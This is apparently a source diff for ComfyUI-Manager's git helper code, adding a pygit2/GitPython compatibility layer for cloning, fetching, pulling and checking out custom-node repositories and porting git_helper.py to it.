|
||||
|
||||
def list_branches(self):
|
||||
return [_HeadProxy(b.name, b.commit) for b in self._repo.branches]
|
||||
|
||||
def get_head_by_name(self, name):
|
||||
head = getattr(self._repo.heads, name)
|
||||
return _HeadProxy(head.name, head.commit)
|
||||
|
||||
def head_commit_equals(self, other_commit):
|
||||
return self._repo.head.commit == other_commit
|
||||
|
||||
def get_ref_object(self, ref_name):
|
||||
ref = self._repo.refs[ref_name]
|
||||
try:
|
||||
ref_commit = ref.reference.commit
|
||||
except (TypeError, AttributeError):
|
||||
ref_commit = ref.object
|
||||
return _RefProxy(
|
||||
ref.object.hexsha,
|
||||
ref.object.committed_datetime,
|
||||
commit_obj=ref_commit,
|
||||
)
|
||||
|
||||
def stash(self):
|
||||
self._repo.git.stash()
|
||||
|
||||
def pull_ff_only(self):
|
||||
self._repo.git.pull('--ff-only')
|
||||
|
||||
def reset_hard(self, ref):
|
||||
self._repo.git.reset('--hard', ref)
|
||||
|
||||
def create_backup_branch(self, name):
|
||||
self._repo.create_head(name)
|
||||
|
||||
def checkout(self, ref):
|
||||
self._repo.git.checkout(ref)
|
||||
|
||||
def checkout_new_branch(self, branch_name, start_point):
|
||||
self._repo.git.checkout('-b', branch_name, start_point)
|
||||
|
||||
def submodule_update(self):
|
||||
self._repo.git.submodule('update', '--init', '--recursive')
|
||||
|
||||
def clear_cache(self):
|
||||
self._repo.git.clear_cache()
|
||||
|
||||
def fetch_remote_by_index(self, index):
|
||||
self._repo.remotes[index].fetch()
|
||||
|
||||
def pull_remote_by_index(self, index):
|
||||
self._repo.remotes[index].pull()
|
||||
|
||||
def close(self):
|
||||
self._repo.close()
|
||||
|
||||
|
||||
# ===================================================================
|
||||
# Pygit2 wrapper
|
||||
# ===================================================================
|
||||
|
||||
class _Pygit2Repo(GitRepo):
|
||||
def __init__(self, path):
|
||||
repo_path = os.path.abspath(path)
|
||||
git_dir = os.path.join(repo_path, '.git')
|
||||
for sub in ['refs/heads', 'refs/tags', 'refs/remotes']:
|
||||
try:
|
||||
os.makedirs(os.path.join(git_dir, sub), exist_ok=True)
|
||||
except OSError:
|
||||
pass
|
||||
self._repo = _pygit2.Repository(git_dir)
|
||||
self._working_dir = repo_path
|
||||
|
||||
def _fetch_remote(self, remote, refspecs=None):
|
||||
"""Fetch *remote* over the preserved proxy, transparently rewriting an
|
||||
SSH-form origin to anonymous HTTPS in memory.
|
||||
|
||||
The bundled pygit2 has no SSH transport, so a stored `git@host:...`
|
||||
origin would fail with an auth error. When the URL is SSH-form we fetch
|
||||
through an in-memory anonymous remote over HTTPS, leaving `.git/config`
|
||||
untouched (no on-disk rewrite).
|
||||
"""
|
||||
https_url = _to_https_url(remote.url)
|
||||
if https_url != remote.url:
|
||||
anon = self._repo.remotes.create_anonymous(https_url)
|
||||
anon.fetch(
|
||||
list(refspecs) if refspecs is not None
|
||||
else list(remote.fetch_refspecs),
|
||||
proxy=_HTTP_PROXY,
|
||||
)
|
||||
elif refspecs is not None:
|
||||
remote.fetch(list(refspecs), proxy=_HTTP_PROXY)
|
||||
else:
|
||||
remote.fetch(proxy=_HTTP_PROXY)
|
||||
|
||||
@property
|
||||
def working_dir(self):
|
||||
return self._working_dir
|
||||
|
||||
@property
|
||||
def head_commit_hexsha(self):
|
||||
return str(self._repo.head.peel(_pygit2.Commit).id)
|
||||
|
||||
@property
|
||||
def head_is_detached(self):
|
||||
return self._repo.head_is_detached
|
||||
|
||||
@property
|
||||
def head_commit_datetime(self):
|
||||
commit = self._repo.head.peel(_pygit2.Commit)
|
||||
ts = commit.commit_time
|
||||
offset_minutes = commit.commit_time_offset
|
||||
tz = timezone(timedelta(minutes=offset_minutes))
|
||||
return datetime.fromtimestamp(ts, tz=tz)
|
||||
|
||||
@property
|
||||
def active_branch_name(self):
|
||||
ref = self._repo.head.name
|
||||
if ref.startswith('refs/heads/'):
|
||||
return ref[len('refs/heads/'):]
|
||||
return ref
|
||||
|
||||
def is_dirty(self):
|
||||
st = self._repo.status()
|
||||
for flags in st.values():
|
||||
if flags == _pygit2.GIT_STATUS_CURRENT:
|
||||
continue
|
||||
if flags == _pygit2.GIT_STATUS_IGNORED:
|
||||
continue
|
||||
if flags == _pygit2.GIT_STATUS_WT_NEW:
|
||||
continue
|
||||
return True
|
||||
return False
|
||||
|
||||
def get_tracking_remote_name(self):
|
||||
branch = self._repo.branches.get(self.active_branch_name)
|
||||
if branch is None:
|
||||
raise GitCommandError("Cannot determine tracking branch: HEAD is detached or branch not found")
|
||||
upstream = branch.upstream
|
||||
if upstream is None:
|
||||
raise GitCommandError(f"No upstream configured for branch '{self.active_branch_name}'")
|
||||
# upstream.name can be "origin/master" or "refs/remotes/origin/master"
|
||||
name = upstream.name
|
||||
if name.startswith('refs/remotes/'):
|
||||
name = name[len('refs/remotes/'):]
|
||||
return name.split('/')[0]
|
||||
|
||||
def _pull_remote(self, remote):
|
||||
"""Fetch *remote* and fast-forward the active branch onto its upstream."""
|
||||
self._fetch_remote(remote)
|
||||
branch_name = self.active_branch_name
|
||||
branch = self._repo.branches.get(branch_name)
|
||||
if branch and branch.upstream:
|
||||
remote_commit = branch.upstream.peel(_pygit2.Commit)
|
||||
analysis, _ = self._repo.merge_analysis(remote_commit.id)
|
||||
if analysis & _pygit2.GIT_MERGE_ANALYSIS_FASTFORWARD:
|
||||
self._repo.checkout_tree(self._repo.get(remote_commit.id))
|
||||
branch_ref = self._repo.references.get(f'refs/heads/{branch_name}')
|
||||
if branch_ref is not None:
|
||||
branch_ref.set_target(remote_commit.id)
|
||||
self._repo.head.set_target(remote_commit.id)
|
||||
|
||||
def get_remote(self, name):
|
||||
remote = self._repo.remotes[name]
|
||||
return _RemoteProxy(remote.name, remote.url,
|
||||
lambda: self._fetch_remote(remote),
|
||||
lambda: self._pull_remote(remote))
|
||||
|
||||
def has_ref(self, ref_name):
|
||||
for prefix in [f'refs/remotes/{ref_name}', f'refs/heads/{ref_name}',
|
||||
f'refs/tags/{ref_name}', ref_name]:
|
||||
try:
|
||||
if self._repo.references.get(prefix) is not None:
|
||||
return True
|
||||
except Exception:
|
||||
pass
|
||||
return False
|
||||
|
||||
def _resolve_ref(self, ref_name):
|
||||
for prefix in [f'refs/remotes/{ref_name}', f'refs/heads/{ref_name}',
|
||||
f'refs/tags/{ref_name}', ref_name]:
|
||||
ref = self._repo.references.get(prefix)
|
||||
if ref is not None:
|
||||
return ref.peel(_pygit2.Commit)
|
||||
raise GitCommandError(f"Reference not found: {ref_name}")
|
||||
|
||||
def get_ref_commit_hexsha(self, ref_name):
|
||||
return str(self._resolve_ref(ref_name).id)
|
||||
|
||||
def get_ref_commit_datetime(self, ref_name):
|
||||
commit = self._resolve_ref(ref_name)
|
||||
ts = commit.commit_time
|
||||
offset_minutes = commit.commit_time_offset
|
||||
tz = timezone(timedelta(minutes=offset_minutes))
|
||||
return datetime.fromtimestamp(ts, tz=tz)
|
||||
|
||||
def list_remotes(self):
|
||||
result = []
|
||||
for r in self._repo.remotes:
|
||||
result.append(_RemoteProxy(r.name, r.url,
|
||||
lambda r=r: self._fetch_remote(r),
|
||||
lambda r=r: self._pull_remote(r)))
|
||||
return result
|
||||
|
||||
def get_remote_url(self, index_or_name):
|
||||
if isinstance(index_or_name, int):
|
||||
remotes = list(self._repo.remotes)
|
||||
return remotes[index_or_name].url
|
||||
return self._repo.remotes[index_or_name].url
|
||||
|
||||
def iter_commits_count(self):
|
||||
count = 0
|
||||
head_commit = self._repo.head.peel(_pygit2.Commit)
|
||||
visited = set()
|
||||
queue = deque([head_commit.id])
|
||||
while queue:
|
||||
oid = queue.popleft()
|
||||
if oid in visited:
|
||||
continue
|
||||
visited.add(oid)
|
||||
count += 1
|
||||
commit = self._repo.get(oid)
|
||||
if commit is not None:
|
||||
for parent_id in commit.parent_ids:
|
||||
if parent_id not in visited:
|
||||
queue.append(parent_id)
|
||||
return count
|
||||
|
||||
def symbolic_ref(self, ref):
|
||||
git_dir = self._repo.path
|
||||
ref_file = os.path.join(git_dir, ref)
|
||||
if os.path.isfile(ref_file):
|
||||
with open(ref_file, 'r') as f:
|
||||
content = f.read().strip()
|
||||
if content.startswith('ref: '):
|
||||
return content[5:]
|
||||
return content
|
||||
ref_obj = self._repo.references.get(ref)
|
||||
if ref_obj is not None and ref_obj.type == _pygit2.GIT_REFERENCE_SYMBOLIC:
|
||||
return ref_obj.target
|
||||
raise GitCommandError(f"Not a symbolic reference: {ref}")
|
||||
|
||||
def describe_tags(self, exact_match=False):
|
||||
try:
|
||||
if exact_match:
|
||||
head_oid = self._repo.head.peel(_pygit2.Commit).id
|
||||
for ref_name in self._repo.references:
|
||||
if not ref_name.startswith('refs/tags/'):
|
||||
continue
|
||||
ref = self._repo.references.get(ref_name)
|
||||
if ref is None:
|
||||
continue
|
||||
try:
|
||||
if ref.peel(_pygit2.Commit).id == head_oid:
|
||||
return ref_name[len('refs/tags/'):]
|
||||
except Exception:
|
||||
pass
|
||||
return None
|
||||
else:
|
||||
import math
|
||||
num_objects = sum(1 for _ in self._repo.odb)
|
||||
abbrev = max(7, math.ceil(math.log2(max(num_objects, 1)) / 2)) if num_objects > 0 else 7
|
||||
return self._repo.describe(
|
||||
describe_strategy=1,
|
||||
abbreviated_size=abbrev,
|
||||
)
|
||||
except Exception:
|
||||
return None
|
||||
|
||||
def list_tags(self):
|
||||
tags = []
|
||||
for ref_name in self._repo.references:
|
||||
if ref_name.startswith('refs/tags/'):
|
||||
tag_name = ref_name[len('refs/tags/'):]
|
||||
ref = self._repo.references.get(ref_name)
|
||||
if ref is not None:
|
||||
try:
|
||||
commit = ref.peel(_pygit2.Commit)
|
||||
commit_obj = type('commit', (), {
|
||||
'hexsha': str(commit.id),
|
||||
'committed_datetime': datetime.fromtimestamp(
|
||||
commit.commit_time,
|
||||
tz=timezone(timedelta(minutes=commit.commit_time_offset))
|
||||
),
|
||||
})()
|
||||
tags.append(_TagProxy(tag_name, commit_obj))
|
||||
except Exception:
|
||||
tags.append(_TagProxy(tag_name, None))
|
||||
return tags
|
||||
|
||||
def list_heads(self):
|
||||
heads = []
|
||||
for ref_name in self._repo.references:
|
||||
if ref_name.startswith('refs/heads/'):
|
||||
branch_name = ref_name[len('refs/heads/'):]
|
||||
ref = self._repo.references.get(ref_name)
|
||||
commit_obj = None
|
||||
if ref is not None:
|
||||
try:
|
||||
commit = ref.peel(_pygit2.Commit)
|
||||
commit_obj = type('commit', (), {
|
||||
'hexsha': str(commit.id),
|
||||
'committed_datetime': datetime.fromtimestamp(
|
||||
commit.commit_time,
|
||||
tz=timezone(timedelta(minutes=commit.commit_time_offset))
|
||||
),
|
||||
})()
|
||||
except Exception:
|
||||
pass
|
||||
heads.append(_HeadProxy(branch_name, commit_obj))
|
||||
return heads
|
||||
|
||||
def list_branches(self):
|
||||
return self.list_heads()
|
||||
|
||||
def get_head_by_name(self, name):
|
||||
ref = self._repo.references.get(f'refs/heads/{name}')
|
||||
if ref is None:
|
||||
raise AttributeError(f"Head '{name}' not found")
|
||||
try:
|
||||
commit = ref.peel(_pygit2.Commit)
|
||||
commit_obj = type('commit', (), {
|
||||
'hexsha': str(commit.id),
|
||||
'committed_datetime': datetime.fromtimestamp(
|
||||
commit.commit_time,
|
||||
tz=timezone(timedelta(minutes=commit.commit_time_offset))
|
||||
),
|
||||
})()
|
||||
except Exception:
|
||||
commit_obj = None
|
||||
return _HeadProxy(name, commit_obj)
|
||||
|
||||
def head_commit_equals(self, other_commit):
|
||||
head_sha = str(self._repo.head.peel(_pygit2.Commit).id)
|
||||
if hasattr(other_commit, 'hexsha'):
|
||||
return head_sha == other_commit.hexsha
|
||||
return head_sha == str(other_commit)
|
||||
|
||||
def get_ref_object(self, ref_name):
|
||||
commit = self._resolve_ref(ref_name)
|
||||
hexsha = str(commit.id)
|
||||
dt = datetime.fromtimestamp(
|
||||
commit.commit_time,
|
||||
tz=timezone(timedelta(minutes=commit.commit_time_offset))
|
||||
)
|
||||
commit_obj = type('commit', (), {
|
||||
'hexsha': hexsha,
|
||||
'committed_datetime': dt,
|
||||
})()
|
||||
return _RefProxy(hexsha, dt, commit_obj=commit_obj)
|
||||
|
||||
def stash(self):
|
||||
sig = _pygit2.Signature('comfyui-manager', 'manager@comfy')
|
||||
self._repo.stash(sig)
|
||||
|
||||
def pull_ff_only(self):
|
||||
branch_name = self.active_branch_name
|
||||
branch = self._repo.branches.get(branch_name)
|
||||
if branch is None:
|
||||
raise GitCommandError(f"Branch '{branch_name}' not found")
|
||||
upstream = branch.upstream
|
||||
if upstream is None:
|
||||
raise GitCommandError(f"No upstream for branch '{branch_name}'")
|
||||
|
||||
remote_name = upstream.remote_name
|
||||
self._fetch_remote(self._repo.remotes[remote_name])
|
||||
|
||||
upstream = self._repo.branches.get(branch_name).upstream
|
||||
if upstream is None:
|
||||
raise GitCommandError(f"Upstream lost after fetch for '{branch_name}'")
|
||||
|
||||
remote_commit = upstream.peel(_pygit2.Commit)
|
||||
analysis, _ = self._repo.merge_analysis(remote_commit.id)
|
||||
|
||||
if analysis & _pygit2.GIT_MERGE_ANALYSIS_UP_TO_DATE:
|
||||
return
|
||||
|
||||
if analysis & _pygit2.GIT_MERGE_ANALYSIS_FASTFORWARD:
|
||||
self._repo.checkout_tree(self._repo.get(remote_commit.id))
|
||||
branch_ref = self._repo.references.get(f'refs/heads/{branch_name}')
|
||||
if branch_ref is not None:
|
||||
branch_ref.set_target(remote_commit.id)
|
||||
self._repo.head.set_target(remote_commit.id)
|
||||
else:
|
||||
raise GitCommandError("Cannot fast-forward; merge or rebase required")
|
||||
|
||||
def reset_hard(self, ref):
|
||||
commit = None
|
||||
# Try as hex SHA first
|
||||
try:
|
||||
oid = _pygit2.Oid(hex=ref)
|
||||
commit = self._repo.get(oid)
|
||||
except (ValueError, Exception):
|
||||
pass
|
||||
|
||||
if commit is None:
|
||||
# Try as named reference
|
||||
for candidate in [ref, f'refs/remotes/{ref}', f'refs/heads/{ref}', f'refs/tags/{ref}']:
|
||||
try:
|
||||
ref_obj = self._repo.references.get(candidate)
|
||||
if ref_obj is not None:
|
||||
commit = ref_obj.peel(_pygit2.Commit)
|
||||
break
|
||||
except Exception:
|
||||
continue
|
||||
|
||||
if commit is None:
|
||||
raise GitCommandError(f"Cannot resolve ref: {ref}")
|
||||
|
||||
self._repo.reset(commit.id, _pygit2.GIT_RESET_HARD)
|
||||
|
||||
def create_backup_branch(self, name):
|
||||
head_commit = self._repo.head.peel(_pygit2.Commit)
|
||||
self._repo.branches.local.create(name, head_commit)
|
||||
|
||||
def checkout(self, ref):
|
||||
# ref can be a _HeadProxy from get_head_by_name
|
||||
if isinstance(ref, _HeadProxy):
|
||||
ref = ref.name
|
||||
|
||||
branch = self._repo.branches.get(ref)
|
||||
if branch is not None:
|
||||
branch_ref = self._repo.lookup_reference(f'refs/heads/{ref}')
|
||||
self._repo.checkout(branch_ref)
|
||||
self._repo.set_head(branch_ref.name)
|
||||
return
|
||||
|
||||
for prefix in [f'refs/remotes/{ref}', f'refs/tags/{ref}']:
|
||||
ref_obj = self._repo.references.get(prefix)
|
||||
if ref_obj is not None:
|
||||
commit = ref_obj.peel(_pygit2.Commit)
|
||||
self._repo.checkout_tree(self._repo.get(commit.id))
|
||||
self._repo.set_head(commit.id)
|
||||
return
|
||||
|
||||
try:
|
||||
oid = _pygit2.Oid(hex=ref)
|
||||
obj = self._repo.get(oid)
|
||||
if obj is not None:
|
||||
commit = obj.peel(_pygit2.Commit)
|
||||
self._repo.checkout_tree(self._repo.get(commit.id))
|
||||
self._repo.set_head(commit.id)
|
||||
return
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
raise GitCommandError(f"Cannot resolve ref for checkout: {ref}")
|
||||
|
||||
def checkout_new_branch(self, branch_name, start_point):
|
||||
commit = self._resolve_ref(start_point)
|
||||
branch = self._repo.branches.local.create(branch_name, commit)
|
||||
for prefix in [f'refs/remotes/{start_point}']:
|
||||
remote_ref = self._repo.references.get(prefix)
|
||||
if remote_ref is not None:
|
||||
try:
|
||||
branch.upstream = remote_ref
|
||||
except Exception:
|
||||
pass
|
||||
break
|
||||
self._repo.checkout(branch)
|
||||
self._repo.set_head(branch.name)
|
||||
|
||||
def submodule_update(self):
|
||||
try:
|
||||
self._repo.submodules.init()
|
||||
self._repo.submodules.update()
|
||||
except Exception:
|
||||
import subprocess
|
||||
try:
|
||||
result = subprocess.run(
|
||||
['git', 'submodule', 'update', '--init', '--recursive'],
|
||||
cwd=self._working_dir,
|
||||
capture_output=True, timeout=120,
|
||||
)
|
||||
if result.returncode != 0:
|
||||
raise GitCommandError(
|
||||
f"submodule update failed (exit {result.returncode}): "
|
||||
f"{result.stderr.decode(errors='replace')}")
|
||||
except FileNotFoundError:
|
||||
print("[ComfyUI-Manager] pygit2: submodule update requires system git (not installed)", file=sys.stderr)
|
||||
except GitCommandError:
|
||||
raise
|
||||
except Exception as sub_e:
|
||||
print(f"[ComfyUI-Manager] pygit2: submodule update failed: {sub_e}", file=sys.stderr)
|
||||
|
||||
def clear_cache(self):
|
||||
pass
|
||||
|
||||
def fetch_remote_by_index(self, index):
|
||||
remotes = list(self._repo.remotes)
|
||||
self._fetch_remote(remotes[index])
|
||||
|
||||
def pull_remote_by_index(self, index):
|
||||
remotes = list(self._repo.remotes)
|
||||
remote = remotes[index]
|
||||
self._fetch_remote(remote)
|
||||
# After fetch, try to ff-merge tracking branch
|
||||
try:
|
||||
branch_name = self.active_branch_name
|
||||
branch = self._repo.branches.get(branch_name)
|
||||
if branch and branch.upstream:
|
||||
remote_commit = branch.upstream.peel(_pygit2.Commit)
|
||||
analysis, _ = self._repo.merge_analysis(remote_commit.id)
|
||||
if analysis & _pygit2.GIT_MERGE_ANALYSIS_FASTFORWARD:
|
||||
self._repo.checkout_tree(self._repo.get(remote_commit.id))
|
||||
branch_ref = self._repo.references.get(f'refs/heads/{branch_name}')
|
||||
if branch_ref is not None:
|
||||
branch_ref.set_target(remote_commit.id)
|
||||
self._repo.head.set_target(remote_commit.id)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def close(self):
|
||||
self._repo.free()
|
||||
|
||||
|
||||
# ===================================================================
|
||||
# Public API
|
||||
# ===================================================================
|
||||
|
||||
def open_repo(path) -> GitRepo:
|
||||
"""Open a repository and return a backend-appropriate wrapper."""
|
||||
if USE_PYGIT2:
|
||||
return _Pygit2Repo(path)
|
||||
else:
|
||||
return _GitPythonRepo(path)
|
||||
|
||||
|
||||
def clone_repo(url, dest, progress=None):
|
||||
"""Clone a repository from *url* into *dest*.
|
||||
|
||||
Returns a repo wrapper that the caller can use for post-clone operations
|
||||
(checkout, clear_cache, close, etc.).
|
||||
"""
|
||||
if USE_PYGIT2:
|
||||
# The proxy= kwarg requires pygit2>=1.18; omit it when no proxy is
|
||||
# configured so proxy-less installs keep working on older pygit2.
|
||||
# (A configured proxy still needs >=1.18 — see requirements.txt.)
|
||||
if _HTTP_PROXY is not None:
|
||||
_pygit2.clone_repository(_to_https_url(url), dest, proxy=_HTTP_PROXY)
|
||||
else:
|
||||
_pygit2.clone_repository(_to_https_url(url), dest)
|
||||
repo = _Pygit2Repo(dest)
|
||||
repo.submodule_update()
|
||||
return repo
|
||||
else:
|
||||
if progress is None:
|
||||
r = _git.Repo.clone_from(url, dest, recursive=True)
|
||||
else:
|
||||
r = _git.Repo.clone_from(url, dest, recursive=True, progress=progress)
|
||||
return _GitPythonRepo(r.working_dir)
|
||||
|
||||
|
||||
def setup_git_environment(git_exe):
|
||||
"""Configure the git executable path (GitPython only)."""
|
||||
if USE_PYGIT2:
|
||||
return
|
||||
if git_exe:
|
||||
_git.Git().update_environment(GIT_PYTHON_GIT_EXECUTABLE=git_exe)
|
||||
@@ -3,13 +3,18 @@ import sys
|
||||
import os
|
||||
import traceback
|
||||
|
||||
import git
|
||||
# Make git_compat importable as a standalone subprocess script
|
||||
sys.path.insert(0, os.path.dirname(__file__))
|
||||
|
||||
from git_compat import open_repo, clone_repo, GitCommandError, setup_git_environment
|
||||
import json
|
||||
import yaml
|
||||
import requests
|
||||
from tqdm.auto import tqdm
|
||||
from git.remote import RemoteProgress
|
||||
from comfyui_manager.common.timestamp_utils import get_backup_branch_name
|
||||
try:
|
||||
from git.remote import RemoteProgress
|
||||
except ImportError:
|
||||
RemoteProgress = object
|
||||
|
||||
|
||||
comfy_path = os.environ.get('COMFYUI_PATH')
|
||||
@@ -51,9 +56,6 @@ working_directory = os.getcwd()
|
||||
|
||||
if os.path.basename(working_directory) != 'custom_nodes':
|
||||
print("WARN: This script should be executed in custom_nodes dir")
|
||||
print(f"DBG: INFO {working_directory}")
|
||||
print(f"DBG: INFO {sys.argv}")
|
||||
# exit(-1)
|
||||
|
||||
|
||||
class GitProgress(RemoteProgress):
|
||||
@@ -68,68 +70,113 @@ class GitProgress(RemoteProgress):
|
||||
self.pbar.refresh()
|
||||
|
||||
|
||||
def get_backup_branch_name(repo=None):
|
||||
"""Get backup branch name with current timestamp.
|
||||
|
||||
Inlined from timestamp_utils to keep git_helper.py standalone — this script
|
||||
runs as a subprocess on Windows and must not import from comfyui_manager.
|
||||
"""
|
||||
import time as _time
|
||||
import uuid as _uuid
|
||||
|
||||
base_name = f'backup_{_time.strftime("%Y%m%d_%H%M%S")}'
|
||||
|
||||
if repo is None:
|
||||
return base_name
|
||||
|
||||
try:
|
||||
existing_branches = {b.name for b in repo.list_heads()}
|
||||
except Exception:
|
||||
return base_name
|
||||
|
||||
if base_name not in existing_branches:
|
||||
return base_name
|
||||
|
||||
for i in range(1, 100):
|
||||
new_name = f'{base_name}_{i}'
|
||||
if new_name not in existing_branches:
|
||||
return new_name
|
||||
|
||||
return f'{base_name}_{_uuid.uuid4().hex[:6]}'
|
||||
|
||||
|
||||
def gitclone(custom_nodes_path, url, target_hash=None, repo_path=None):
|
||||
repo_name = os.path.splitext(os.path.basename(url))[0]
|
||||
|
||||
if repo_path is None:
|
||||
repo_path = os.path.join(custom_nodes_path, repo_name)
|
||||
|
||||
# Clone the repository from the remote URL
|
||||
repo = git.Repo.clone_from(url, repo_path, recursive=True, progress=GitProgress())
|
||||
# On Windows, previous failed clones may leave directories with locked
|
||||
# .git/objects/pack/* files (GitPython memory-mapped handle leak).
|
||||
# Rename stale directory out of the way so clone can proceed.
|
||||
if os.path.exists(repo_path):
|
||||
import shutil
|
||||
import uuid as _uuid
|
||||
trash_dir = os.path.join(custom_nodes_path, '.disabled', '.trash')
|
||||
os.makedirs(trash_dir, exist_ok=True)
|
||||
trash = os.path.join(trash_dir, repo_name + f'_{_uuid.uuid4().hex[:8]}')
|
||||
try:
|
||||
os.rename(repo_path, trash)
|
||||
shutil.rmtree(trash, ignore_errors=True)
|
||||
except OSError:
|
||||
shutil.rmtree(repo_path, ignore_errors=True)
|
||||
|
||||
# Disable tqdm progress when stderr is piped to avoid deadlock on Windows.
|
||||
progress = GitProgress() if sys.stderr.isatty() else None
|
||||
repo = clone_repo(url, repo_path, progress=progress)
|
||||
|
||||
if target_hash is not None:
|
||||
print(f"CHECKOUT: {repo_name} [{target_hash}]")
|
||||
repo.git.checkout(target_hash)
|
||||
repo.checkout(target_hash)
|
||||
|
||||
repo.git.clear_cache()
|
||||
repo.clear_cache()
|
||||
repo.close()
|
||||
|
||||
|
||||
def gitcheck(path, do_fetch=False):
|
||||
try:
|
||||
# Fetch the latest commits from the remote repository
|
||||
repo = git.Repo(path)
|
||||
with open_repo(path) as repo:
|
||||
|
||||
if repo.head.is_detached:
|
||||
print("CUSTOM NODE CHECK: True")
|
||||
return
|
||||
|
||||
current_branch = repo.active_branch
|
||||
branch_name = current_branch.name
|
||||
|
||||
remote_name = current_branch.tracking_branch().remote_name
|
||||
remote = repo.remote(name=remote_name)
|
||||
|
||||
if do_fetch:
|
||||
remote.fetch()
|
||||
|
||||
# Get the current commit hash and the commit hash of the remote branch
|
||||
commit_hash = repo.head.commit.hexsha
|
||||
|
||||
if f'{remote_name}/{branch_name}' in repo.refs:
|
||||
remote_commit_hash = repo.refs[f'{remote_name}/{branch_name}'].object.hexsha
|
||||
else:
|
||||
print("CUSTOM NODE CHECK: True") # non default branch is treated as updatable
|
||||
return
|
||||
|
||||
# Compare the commit hashes to determine if the local repository is behind the remote repository
|
||||
if commit_hash != remote_commit_hash:
|
||||
# Get the commit dates
|
||||
commit_date = repo.head.commit.committed_datetime
|
||||
remote_commit_date = repo.refs[f'{remote_name}/{branch_name}'].object.committed_datetime
|
||||
|
||||
# Compare the commit dates to determine if the local repository is behind the remote repository
|
||||
if commit_date < remote_commit_date:
|
||||
if repo.head_is_detached:
|
||||
print("CUSTOM NODE CHECK: True")
|
||||
else:
|
||||
print("CUSTOM NODE CHECK: False")
|
||||
return
|
||||
|
||||
branch_name = repo.active_branch_name
|
||||
|
||||
remote_name = repo.get_tracking_remote_name()
|
||||
remote = repo.get_remote(remote_name)
|
||||
|
||||
if do_fetch:
|
||||
remote.fetch()
|
||||
|
||||
# Get the current commit hash and the commit hash of the remote branch
|
||||
commit_hash = repo.head_commit_hexsha
|
||||
|
||||
if repo.has_ref(f'{remote_name}/{branch_name}'):
|
||||
remote_commit_hash = repo.get_ref_commit_hexsha(f'{remote_name}/{branch_name}')
|
||||
else:
|
||||
print("CUSTOM NODE CHECK: True") # non default branch is treated as updatable
|
||||
return
|
||||
|
||||
# Compare the commit hashes to determine if the local repository is behind the remote repository
|
||||
if commit_hash != remote_commit_hash:
|
||||
# Get the commit dates
|
||||
commit_date = repo.head_commit_datetime
|
||||
remote_commit_date = repo.get_ref_commit_datetime(f'{remote_name}/{branch_name}')
|
||||
|
||||
# Compare the commit dates to determine if the local repository is behind the remote repository
|
||||
if commit_date < remote_commit_date:
|
||||
print("CUSTOM NODE CHECK: True")
|
||||
else:
|
||||
print("CUSTOM NODE CHECK: False")
|
||||
except Exception as e:
|
||||
print(e)
|
||||
print("CUSTOM NODE CHECK: Error")
|
||||
|
||||
|
||||
def get_remote_name(repo):
|
||||
available_remotes = [remote.name for remote in repo.remotes]
|
||||
available_remotes = [remote.name for remote in repo.list_remotes()]
|
||||
if 'origin' in available_remotes:
|
||||
return 'origin'
|
||||
elif 'upstream' in available_remotes:
|
||||
@@ -154,28 +201,28 @@ def switch_to_default_branch(repo):
|
||||
if remote_name is None:
|
||||
return False
|
||||
|
||||
default_branch = repo.git.symbolic_ref(f'refs/remotes/{remote_name}/HEAD').replace(f'refs/remotes/{remote_name}/', '')
|
||||
repo.git.checkout(default_branch)
|
||||
default_branch = repo.symbolic_ref(f'refs/remotes/{remote_name}/HEAD').replace(f'refs/remotes/{remote_name}/', '')
|
||||
repo.checkout(default_branch)
|
||||
return True
|
||||
except Exception:
|
||||
# try checkout master
|
||||
# try checkout main if failed
|
||||
try:
|
||||
repo.git.checkout(repo.heads.master)
|
||||
repo.checkout(repo.get_head_by_name('master'))
|
||||
return True
|
||||
except Exception:
|
||||
try:
|
||||
if remote_name is not None:
|
||||
repo.git.checkout('-b', 'master', f'{remote_name}/master')
|
||||
repo.checkout_new_branch('master', f'{remote_name}/master')
|
||||
return True
|
||||
except Exception:
|
||||
try:
|
||||
repo.git.checkout(repo.heads.main)
|
||||
repo.checkout(repo.get_head_by_name('main'))
|
||||
return True
|
||||
except Exception:
|
||||
try:
|
||||
if remote_name is not None:
|
||||
repo.git.checkout('-b', 'main', f'{remote_name}/main')
|
||||
repo.checkout_new_branch('main', f'{remote_name}/main')
|
||||
return True
|
||||
except Exception:
|
||||
pass
|
||||
@@ -190,72 +237,67 @@ def gitpull(path):
|
||||
raise ValueError('Not a git repository')
|
||||
|
||||
# Pull the latest changes from the remote repository
|
||||
repo = git.Repo(path)
|
||||
if repo.is_dirty():
|
||||
print(f"STASH: '{path}' is dirty.")
|
||||
repo.git.stash()
|
||||
|
||||
commit_hash = repo.head.commit.hexsha
|
||||
try:
|
||||
if repo.head.is_detached:
|
||||
switch_to_default_branch(repo)
|
||||
|
||||
current_branch = repo.active_branch
|
||||
branch_name = current_branch.name
|
||||
|
||||
remote_name = current_branch.tracking_branch().remote_name
|
||||
remote = repo.remote(name=remote_name)
|
||||
|
||||
if f'{remote_name}/{branch_name}' not in repo.refs:
|
||||
switch_to_default_branch(repo)
|
||||
current_branch = repo.active_branch
|
||||
branch_name = current_branch.name
|
||||
|
||||
remote.fetch()
|
||||
if f'{remote_name}/{branch_name}' in repo.refs:
|
||||
remote_commit_hash = repo.refs[f'{remote_name}/{branch_name}'].object.hexsha
|
||||
else:
|
||||
print("CUSTOM NODE PULL: Fail") # update fail
|
||||
return
|
||||
|
||||
if commit_hash == remote_commit_hash:
|
||||
print("CUSTOM NODE PULL: None") # there is no update
|
||||
repo.close()
|
||||
return
|
||||
with open_repo(path) as repo:
|
||||
if repo.is_dirty():
|
||||
print(f"STASH: '{path}' is dirty.")
|
||||
repo.stash()
|
||||
|
||||
commit_hash = repo.head_commit_hexsha
|
||||
try:
|
||||
repo.git.pull('--ff-only')
|
||||
except git.GitCommandError:
|
||||
backup_name = get_backup_branch_name(repo)
|
||||
repo.create_head(backup_name)
|
||||
print(f"[ComfyUI-Manager] Cannot fast-forward. Backup created: {backup_name}")
|
||||
repo.git.reset('--hard', f'{remote_name}/{branch_name}')
|
||||
print(f"[ComfyUI-Manager] Reset to {remote_name}/{branch_name}")
|
||||
if repo.head_is_detached:
|
||||
switch_to_default_branch(repo)
|
||||
|
||||
repo.git.submodule('update', '--init', '--recursive')
|
||||
new_commit_hash = repo.head.commit.hexsha
|
||||
branch_name = repo.active_branch_name
|
||||
|
||||
if commit_hash != new_commit_hash:
|
||||
print("CUSTOM NODE PULL: Success") # update success
|
||||
else:
|
||||
print("CUSTOM NODE PULL: Fail") # update fail
|
